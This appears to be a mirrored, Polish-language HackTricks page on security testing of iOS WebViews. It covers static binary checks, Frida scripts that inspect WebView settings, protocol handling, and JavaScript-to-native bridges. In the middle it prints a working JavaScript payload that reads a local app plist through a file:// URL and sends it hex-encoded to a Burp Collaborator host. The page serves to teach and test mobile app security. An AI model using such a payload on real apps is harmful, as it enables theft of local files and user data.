mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
279 lines
16 KiB
Markdown
279 lines
16 KiB
Markdown
# iOS WebViews
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
Kod tej strony został wyciągnięty z [tutaj](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Sprawdź stronę, aby uzyskać więcej szczegółów.
|
|
|
|
## Typy WebViews
|
|
|
|
WebViews są wykorzystywane w aplikacjach do interaktywnego wyświetlania treści internetowych. Różne typy WebViews oferują różne funkcjonalności i cechy bezpieczeństwa dla aplikacji iOS. Oto krótki przegląd:
|
|
|
|
- **UIWebView**, który nie jest już zalecany od iOS 12 ze względu na brak wsparcia dla wyłączania **JavaScript**, co czyni go podatnym na wstrzykiwanie skryptów i ataki **Cross-Site Scripting (XSS)**.
|
|
|
|
- **WKWebView** jest preferowaną opcją do włączania treści internetowych w aplikacjach, oferującą lepszą kontrolę nad treścią i funkcjami bezpieczeństwa. **JavaScript** jest domyślnie włączony, ale można go wyłączyć, jeśli zajdzie taka potrzeba. Obsługuje również funkcje zapobiegające automatycznemu otwieraniu okien przez JavaScript i zapewnia, że wszystkie treści są ładowane w sposób bezpieczny. Dodatkowo, architektura **WKWebView** minimalizuje ryzyko uszkodzenia pamięci wpływającego na główny proces aplikacji.
|
|
|
|
- **SFSafariViewController** oferuje ustandaryzowane doświadczenie przeglądania internetu w aplikacjach, rozpoznawalne dzięki swojemu specyficznemu układowi, w tym polu adresowym tylko do odczytu, przyciskom udostępniania i nawigacji oraz bezpośredniemu linkowi do otwierania treści w Safari. W przeciwieństwie do **WKWebView**, **JavaScript** nie może być wyłączony w **SFSafariViewController**, który również dzieli pliki cookie i dane z Safari, zachowując prywatność użytkownika z aplikacji. Musi być wyświetlany w sposób wyraźny zgodnie z wytycznymi App Store.
|
|
```javascript
|
|
// Example of disabling JavaScript in WKWebView:
|
|
WKPreferences *preferences = [[WKPreferences alloc] init];
|
|
preferences.javaScriptEnabled = NO;
|
|
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
|
config.preferences = preferences;
|
|
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
|
```
|
|
## Podsumowanie eksploracji konfiguracji WebViews
|
|
|
|
### **Przegląd analizy statycznej**
|
|
|
|
W procesie badania konfiguracji **WebViews** skupia się na dwóch głównych typach: **UIWebView** i **WKWebView**. Do identyfikacji tych WebViews w binarnym pliku wykorzystuje się polecenia, wyszukując konkretne odniesienia do klas i metody inicjalizacji.
|
|
|
|
- **Identyfikacja UIWebView**
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
|
```
|
|
To polecenie pomaga w lokalizowaniu instancji **UIWebView** poprzez wyszukiwanie ciągów tekstowych związanych z nim w binarnym.
|
|
|
|
- **Identyfikacja WKWebView**
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
|
```
|
|
Podobnie, dla **WKWebView**, to polecenie przeszukuje binarny plik w poszukiwaniu ciągów tekstowych wskazujących na jego użycie.
|
|
|
|
Ponadto, aby znaleźć, jak **WKWebView** jest inicjowany, wykonuje się następujące polecenie, celując w sygnaturę metody związaną z jego inicjalizacją:
|
|
```bash
|
|
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
|
```
|
|
#### **Weryfikacja konfiguracji JavaScript**
|
|
|
|
Dla **WKWebView** podkreśla się, że wyłączenie JavaScriptu jest najlepszą praktyką, chyba że jest to konieczne. Skanuje się skompilowany plik binarny, aby potwierdzić, że właściwość `javaScriptEnabled` jest ustawiona na `false`, co zapewnia, że JavaScript jest wyłączony:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
|
```
|
|
#### **Tylko Weryfikacja Zawartości Bezpiecznej**
|
|
|
|
**WKWebView** oferuje możliwość identyfikacji problemów z mieszanym kontentem, w przeciwieństwie do **UIWebView**. Sprawdza się to za pomocą właściwości `hasOnlySecureContent`, aby upewnić się, że wszystkie zasoby strony są ładowane przez bezpieczne połączenia. Wyszukiwanie w skompilowanym binarnym pliku odbywa się w następujący sposób:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
|
```
|
|
### **Wnioski z analizy dynamicznej**
|
|
|
|
Analiza dynamiczna polega na inspekcji sterty w poszukiwaniu instancji WebView i ich właściwości. W tym celu używany jest skrypt o nazwie `webviews_inspector.js`, który celuje w instancje `UIWebView`, `WKWebView` i `SFSafariViewController`. Rejestruje on informacje o znalezionych instancjach, w tym URL-e i ustawienia związane z JavaScript i zabezpieczoną zawartością.
|
|
|
|
Inspekcję sterty można przeprowadzić za pomocą `ObjC.choose()`, aby zidentyfikować instancje WebView i sprawdzić właściwości `javaScriptEnabled` oraz `hasonlysecurecontent`.
|
|
```javascript:webviews_inspector.js
|
|
ObjC.choose(ObjC.classes["UIWebView"], {
|
|
onMatch: function (ui) {
|
|
console.log("onMatch: ", ui)
|
|
console.log("URL: ", ui.request().toString())
|
|
},
|
|
onComplete: function () {
|
|
console.log("done for UIWebView!")
|
|
},
|
|
})
|
|
|
|
ObjC.choose(ObjC.classes["WKWebView"], {
|
|
onMatch: function (wk) {
|
|
console.log("onMatch: ", wk)
|
|
console.log("URL: ", wk.URL().toString())
|
|
},
|
|
onComplete: function () {
|
|
console.log("done for WKWebView!")
|
|
},
|
|
})
|
|
|
|
ObjC.choose(ObjC.classes["SFSafariViewController"], {
|
|
onMatch: function (sf) {
|
|
console.log("onMatch: ", sf)
|
|
},
|
|
onComplete: function () {
|
|
console.log("done for SFSafariViewController!")
|
|
},
|
|
})
|
|
|
|
ObjC.choose(ObjC.classes["WKWebView"], {
|
|
onMatch: function (wk) {
|
|
console.log("onMatch: ", wk)
|
|
console.log(
|
|
"javaScriptEnabled:",
|
|
wk.configuration().preferences().javaScriptEnabled()
|
|
)
|
|
},
|
|
})
|
|
|
|
ObjC.choose(ObjC.classes["WKWebView"], {
|
|
onMatch: function (wk) {
|
|
console.log("onMatch: ", wk)
|
|
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
|
|
},
|
|
})
|
|
```
|
|
Skrypt jest wykonywany za pomocą:
|
|
```bash
|
|
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
|
```
|
|
**Kluczowe wyniki**:
|
|
|
|
- Instancje WebViews zostały pomyślnie zlokalizowane i zbadane.
|
|
- Weryfikacja włączenia JavaScript i ustawień zabezpieczeń treści została przeprowadzona.
|
|
|
|
To podsumowanie obejmuje kluczowe kroki i polecenia związane z analizowaniem konfiguracji WebView za pomocą podejść statycznych i dynamicznych, koncentrując się na funkcjach zabezpieczeń, takich jak włączenie JavaScript i wykrywanie mieszanej treści.
|
|
|
|
## Obsługa protokołów WebView
|
|
|
|
Obsługa treści w WebViews jest kluczowym aspektem, szczególnie w przypadku różnych protokołów, takich jak `http(s)://`, `file://` i `tel://`. Protokoły te umożliwiają ładowanie zarówno zdalnych, jak i lokalnych treści w aplikacjach. Podkreśla się, że podczas ładowania lokalnych treści należy podjąć środki ostrożności, aby zapobiec wpływowi użytkowników na nazwę lub ścieżkę pliku oraz na edytowanie samej treści.
|
|
|
|
**WebViews** oferują różne metody ładowania treści. Dla **UIWebView**, obecnie przestarzałego, używane są metody takie jak `loadHTMLString:baseURL:` i `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView** z kolei wykorzystuje `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` oraz `loadRequest:` do treści internetowych. Metody takie jak `pathForResource:ofType:`, `URLForResource:withExtension:` i `init(contentsOf:encoding:)` są zazwyczaj wykorzystywane do ładowania lokalnych plików. Metoda `loadFileURL:allowingReadAccessToURL:` jest szczególnie godna uwagi ze względu na swoją zdolność do ładowania konkretnego URL lub katalogu do WebView, co potencjalnie może ujawniać wrażliwe dane, jeśli określony jest katalog.
|
|
|
|
Aby znaleźć te metody w kodzie źródłowym lub skompilowanym binarnym, można użyć poleceń takich jak poniższe:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
|
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
|
```
|
|
W odniesieniu do **dostępu do plików**, UIWebView pozwala na to uniwersalnie, podczas gdy WKWebView wprowadza ustawienia `allowFileAccessFromFileURLs` i `allowUniversalAccessFromFileURLs` do zarządzania dostępem z adresów URL plików, przy czym oba są domyślnie ustawione na fałsz.
|
|
|
|
Przykład skryptu Frida jest podany, aby sprawdzić konfiguracje **WKWebView** dotyczące ustawień bezpieczeństwa:
|
|
```bash
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('URL: ', wk.URL().toString());
|
|
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
|
console.log('allowFileAccessFromFileURLs: ',
|
|
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
|
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|
console.log('allowUniversalAccessFromFileURLs: ',
|
|
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for WKWebView!');
|
|
}
|
|
});
|
|
```
|
|
Na koniec, przykład ładunku JavaScript mającego na celu eksfiltrację lokalnych plików ilustruje potencjalne ryzyko bezpieczeństwa związane z niewłaściwie skonfigurowanymi WebView. Ten ładunek koduje zawartość plików w formacie szesnastkowym przed przesłaniem ich na serwer, podkreślając znaczenie rygorystycznych środków bezpieczeństwa w implementacjach WebView.
|
|
```javascript
|
|
String.prototype.hexEncode = function () {
|
|
var hex, i
|
|
var result = ""
|
|
for (i = 0; i < this.length; i++) {
|
|
hex = this.charCodeAt(i).toString(16)
|
|
result += ("000" + hex).slice(-4)
|
|
}
|
|
return result
|
|
}
|
|
|
|
var xhr = new XMLHttpRequest()
|
|
xhr.onreadystatechange = function () {
|
|
if (xhr.readyState == XMLHttpRequest.DONE) {
|
|
var xhr2 = new XMLHttpRequest()
|
|
xhr2.open(
|
|
"GET",
|
|
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
|
|
xhr.responseText.hexEncode(),
|
|
true
|
|
)
|
|
xhr2.send(null)
|
|
}
|
|
}
|
|
xhr.open(
|
|
"GET",
|
|
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
|
|
true
|
|
)
|
|
xhr.send(null)
|
|
```
|
|
## Metody natywne udostępnione przez WebViews
|
|
|
|
## Zrozumienie interfejsów natywnych WebView w iOS
|
|
|
|
Od iOS 7 Apple udostępniło API do **komunikacji między JavaScript w WebView a natywnymi** obiektami Swift lub Objective-C. Ta integracja jest głównie ułatwiana przez dwie metody:
|
|
|
|
- **JSContext**: Funkcja JavaScript jest automatycznie tworzona, gdy blok Swift lub Objective-C jest powiązany z identyfikatorem w `JSContext`. Umożliwia to płynne integrowanie i komunikację między JavaScript a kodem natywnym.
|
|
- **JSExport Protocol**: Poprzez dziedziczenie protokołu `JSExport`, natywne właściwości, metody instancji i metody klasowe mogą być udostępniane JavaScript. Oznacza to, że wszelkie zmiany wprowadzone w środowisku JavaScript są odzwierciedlane w środowisku natywnym i odwrotnie. Jednak ważne jest, aby upewnić się, że wrażliwe dane nie są przypadkowo ujawniane za pomocą tej metody.
|
|
|
|
### Uzyskiwanie dostępu do `JSContext` w Objective-C
|
|
|
|
W Objective-C `JSContext` dla `UIWebView` można uzyskać za pomocą następującej linii kodu:
|
|
```objc
|
|
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
|
```
|
|
### Komunikacja z `WKWebView`
|
|
|
|
Dla `WKWebView` bezpośredni dostęp do `JSContext` nie jest dostępny. Zamiast tego, wykorzystywane jest przesyłanie wiadomości za pomocą funkcji `postMessage`, co umożliwia komunikację JavaScript z natywną aplikacją. Obsługiwacze tych wiadomości są ustawione w następujący sposób, co umożliwia JavaScript bezpieczną interakcję z natywną aplikacją:
|
|
```swift
|
|
func enableJavaScriptBridge(_ enabled: Bool) {
|
|
options_dict["javaScriptBridge"]?.value = enabled
|
|
let userContentController = wkWebViewConfiguration.userContentController
|
|
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
|
|
|
if enabled {
|
|
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
|
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
|
}
|
|
}
|
|
```
|
|
### Interakcja i testowanie
|
|
|
|
JavaScript może wchodzić w interakcję z warstwą natywną, definiując handler wiadomości skryptu. Umożliwia to operacje takie jak wywoływanie funkcji natywnych z poziomu strony internetowej:
|
|
```javascript
|
|
function invokeNativeOperation() {
|
|
value1 = document.getElementById("value1").value
|
|
value2 = document.getElementById("value2").value
|
|
window.webkit.messageHandlers.javaScriptBridge.postMessage([
|
|
"multiplyNumbers",
|
|
value1,
|
|
value2,
|
|
])
|
|
}
|
|
|
|
// Alternative method for calling exposed JavaScript functions
|
|
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
|
```
|
|
Aby przechwycić i manipulować wynikiem wywołania funkcji natywnej, można nadpisać funkcję zwrotną w HTML:
|
|
```html
|
|
<html>
|
|
<script>
|
|
document.location = "javascriptbridge://getSecret"
|
|
function javascriptBridgeCallBack(name, result) {
|
|
alert(result)
|
|
}
|
|
</script>
|
|
</html>
|
|
```
|
|
Strona natywna obsługuje wywołanie JavaScript, jak pokazano w klasie `JavaScriptBridgeMessageHandler`, gdzie wynik operacji, takich jak mnożenie liczb, jest przetwarzany i wysyłany z powrotem do JavaScript w celu wyświetlenia lub dalszej manipulacji:
|
|
```swift
|
|
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
|
// Handling "multiplyNumbers" operation
|
|
case "multiplyNumbers":
|
|
let arg1 = Double(messageArray[1])!
|
|
let arg2 = Double(messageArray[2])!
|
|
result = String(arg1 * arg2)
|
|
// Callback to JavaScript
|
|
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
|
|
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
|
}
|
|
```
|
|
## Debugging iOS WebViews
|
|
|
|
(Tutorial oparty na tym z [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
|
|
|
Aby skutecznie debugować treści internetowe w webview iOS, wymagane jest specyficzne ustawienie z wykorzystaniem narzędzi dewelopera Safari, ponieważ wiadomości wysyłane do `console.log()` nie są wyświetlane w logach Xcode. Oto uproszczony przewodnik, podkreślający kluczowe kroki i wymagania:
|
|
|
|
- **Przygotowanie na urządzeniu iOS**: Należy aktywować Web Inspector Safari na swoim urządzeniu iOS. Można to zrobić, przechodząc do **Ustawienia > Safari > Zaawansowane** i włączając _Web Inspector_.
|
|
|
|
- **Przygotowanie na urządzeniu macOS**: Na swoim komputerze deweloperskim macOS musisz włączyć narzędzia dewelopera w Safari. Uruchom Safari, przejdź do **Safari > Preferencje > Zaawansowane** i wybierz opcję _Pokaż menu Rozwój_.
|
|
|
|
- **Połączenie i debugowanie**: Po podłączeniu urządzenia iOS do komputera macOS i uruchomieniu aplikacji, użyj Safari na swoim urządzeniu macOS, aby wybrać webview, które chcesz debugować. Przejdź do _Rozwój_ w pasku menu Safari, najedź na nazwę swojego urządzenia iOS, aby zobaczyć listę instancji webview, a następnie wybierz instancję, którą chcesz zbadać. Otworzy się nowe okno Web Inspector Safari w tym celu.
|
|
|
|
Jednak pamiętaj o ograniczeniach:
|
|
|
|
- Debugowanie tą metodą wymaga urządzenia macOS, ponieważ opiera się na Safari.
|
|
- Tylko webview w aplikacjach załadowanych na twoje urządzenie przez Xcode są kwalifikowane do debugowania. Webview w aplikacjach zainstalowanych za pośrednictwem App Store lub Apple Configurator nie mogą być debugowane w ten sposób.
|
|
|
|
## References
|
|
|
|
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
|
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
|
- [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|